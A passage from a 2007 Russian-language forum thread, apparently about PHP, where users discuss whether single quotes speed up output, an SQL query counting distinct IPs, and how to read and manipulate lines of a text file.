0,0001 доли секунды готов поспорить! Если скрипт перегружен выводом текстовых строк с переменными, то одинарные кавычки реально оптимизируют скрипт! это я испытал на своем скрипте чата! тем более если считать, что у меня wap-чат, где у gprs скорость передачи данных довольно низкая! Поверь, разница ощутима!

The_HuliGun
22.07.2007, 13:21
Используй следующий запрос

SELECT COUNT(DISTINCT ip) FROM counter_total

он вернет число неповторяющихся ip с базы.

1NtR0
22.07.2007, 14:36
Есть файл .тхт.
как сделать что выводило определённую стоку из него,или вообщем как делать манипуляции со строками?

D Mak
22.07.2007, 14:51
2 1NtR0
не понял вопроса, какие именно манипуляции ты хочешь?
из тхт считывай fopen (http://ru2.php.net/manual/ru/function.fopen.php) -ом или file_get_contents (http://ru2.php.net/manual/ru/function.file-get-contents.php) -ом

А со строкая поманипулируй тут:
http://ru2.php.net/manual/ru/ref.strings.php